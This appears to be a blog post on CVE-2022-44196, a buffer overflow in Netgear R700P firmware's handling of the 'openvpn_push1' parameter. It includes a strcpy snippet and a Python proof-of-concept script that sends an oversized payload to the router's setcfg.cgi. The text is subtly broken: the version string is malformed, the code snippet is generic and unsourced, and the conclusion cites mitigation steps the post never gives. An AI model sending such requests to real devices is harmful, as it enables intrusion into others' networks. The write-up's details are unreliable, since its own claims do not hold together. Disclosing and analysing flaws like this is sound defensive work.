CVE-2022-44196 - Netgear R700P V1.3..8 Buffer Overflow Exploit via openvpn_push1 Parameter

A critical vulnerability (CVE-2022-44196) has been discovered in the Netgear R700P V1.3..8 firmware, posing a significant security risk to users of this router. This post aims to provide a comprehensive analysis of the vulnerability, including its origin, the exploits targeting it, and the practical steps users can take to protect themselves.

The vulnerability stems from a buffer overflow issue within the Netgear R700P firmware's handling of the 'openvpn_push1' parameter. If exploited, this could potentially lead to the execution of arbitrary code on the affected device, allowing an attacker to gain unauthorized access to the router and compromise connected devices.

Vulnerability Details

The vulnerability lies in the implementation of the 'openvpn_push1' parameter handling in the nvram configuration utility, a custom implementation of the 'setcfg.cgi' binary. The router's firmware contains a hardcoded limit of 256 bytes for this parameter, which can be overwritten by an attacker, leading to a buffer overflow.

Here is the relevant code snippet from the 'setcfg.cgi' binary

char buf[256];
strcpy(buf, get_nvram_var("openvpn_push1"));
...

When processing the 'openvpn_push1' parameter, the router's firmware uses the strcpy function, which does not check for buffer overflows when copying data from the provided input. This allows an attacker to overwrite the buffer, potentially leading to the execution of arbitrary code.

Exploiting this vulnerability requires an attacker to send a specially crafted HTTP request to the router's setcfg.cgi binary, targeting the vulnerable 'openvpn_push1' parameter handling. A successful exploitation could lead to access to the router's configuration and potentially the connected devices.

An example Python script to exploit this vulnerability is shown below

import requests

target_router_ip = "192.168.1.1"
payload = "A" * 256  # Payload to trigger the buffer overflow
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

data = {
    "openvpn_push1": payload
}

exploit_url = f"http://{target_router_ip}/setcfg.cgi";

response = requests.post(url=exploit_url, data=data, headers=headers, verify=False)

if response.status_code == 200:
    print("Exploit Successfully Sent")
else:
    print("Exploit Failed")

It is important to note that this example is for educational purposes only, and should not be used for malicious purposes.

The vulnerability has been disclosed and documented by the following sources

- CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-44196
- National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-44196

As of now, there has not been any official patch released by Netgear to address this vulnerability in the R700P V1.3..8 firmware. Users are encouraged to monitor the Netgear Security Advisory page for updates and install any firmware updates as soon as they become available.

Conclusion

The CVE-2022-44196 vulnerability in the Netgear R700P V1.3..8 firmware presents a serious security risk. Users of this router model should be aware of this threat and take necessary precautions to protect their networks. Although no official patch is available yet, implementing the mentioned mitigation steps can help reduce the likelihood of successful exploitation of this vulnerability.

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 18:52:00 UTC